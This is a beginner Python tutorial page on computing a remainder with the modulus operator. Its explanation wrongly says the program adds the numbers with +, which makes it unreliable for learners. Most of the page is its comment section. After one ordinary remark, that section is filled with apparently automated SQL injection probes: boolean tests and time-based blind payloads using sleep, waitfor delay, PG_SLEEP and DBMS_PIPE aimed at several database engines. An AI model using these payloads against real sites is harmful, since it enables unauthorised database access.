Python Modulus

Python program to get two integer numbers, divide both the integers and display the remainder.

Sample Input 1:

6 5

Sample Output 1:

1

Sample Input 2:

28 4

Sample Output 2:

 0

Program or Solution

				
			
					
num1=int(input("Enter First number:"))
num2=int(input("Enter second number:"))
remainder=num1%num2
print(remainder)

			
				
			

Program Explanation

Read two inputs using input() method.

Convert it into integer by int() method.

Add it using + operator.

Comments

srikanth2002
This program logic is easy to understand and the flowchart gives clear view of this
ubaTaeCJ
-1 OR 2+601-601-1=0+0+0+1 --
ubaTaeCJ
-1 OR 3+601-601-1=0+0+0+1 --
ubaTaeCJ
-1 OR 3*2<(0+5+601-601) --
ubaTaeCJ
-1 OR 3*2>(0+5+601-601) --
ubaTaeCJ
-1 OR 2+594-594-1=0+0+0+1
ubaTaeCJ
-1 OR 3+594-594-1=0+0+0+1
ubaTaeCJ
-1 OR 3*2<(0+5+594-594)
ubaTaeCJ
-1 OR 3*2>(0+5+594-594)
ubaTaeCJ
-1' OR 2+297-297-1=0+0+0+1 --
ubaTaeCJ
-1' OR 3+297-297-1=0+0+0+1 --
ubaTaeCJ
-1' OR 3*2<(0+5+297-297) --
ubaTaeCJ
-1' OR 3*2>(0+5+297-297) --
ubaTaeCJ
-1' OR 2+890-890-1=0+0+0+1 or '2LVoCnAF'='
ubaTaeCJ
-1' OR 3+890-890-1=0+0+0+1 or '2LVoCnAF'='
ubaTaeCJ
-1' OR 3*2<(0+5+890-890) or '2LVoCnAF'='
ubaTaeCJ
-1' OR 3*2>(0+5+890-890) or '2LVoCnAF'='
ubaTaeCJ
-1" OR 2+502-502-1=0+0+0+1 --
ubaTaeCJ
-1" OR 3+502-502-1=0+0+0+1 --
ubaTaeCJ
-1" OR 3*2<(0+5+502-502) --
ubaTaeCJ
-1" OR 3*2>(0+5+502-502) --
ubaTaeCJ
if(now()=sysdate(),sleep(15),0)
ubaTaeCJ
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
ubaTaeCJ
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
ubaTaeCJ
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
ubaTaeCJ
-1; waitfor delay '0:0:15' --
ubaTaeCJ
-1); waitfor delay '0:0:15' --
ubaTaeCJ
1 waitfor delay '0:0:15' --
ubaTaeCJ
NfcydKV9'; waitfor delay '0:0:15' --
ubaTaeCJ
-5 OR 717=(SELECT 717 FROM PG_SLEEP(15))--
ubaTaeCJ
-5) OR 146=(SELECT 146 FROM PG_SLEEP(15))--
ubaTaeCJ
-1)) OR 213=(SELECT 213 FROM PG_SLEEP(15))--
ubaTaeCJ
zsgFama5' OR 419=(SELECT 419 FROM PG_SLEEP(15))--
ubaTaeCJ
R9bUmgGu') OR 108=(SELECT 108 FROM PG_SLEEP(15))--
ubaTaeCJ
Fy3fVwCi')) OR 138=(SELECT 138 FROM PG_SLEEP(15))--
ubaTaeCJ
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
ubaTaeCJ
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
ubaTaeCJ
1'"
ubaTaeCJ
@@6iHnz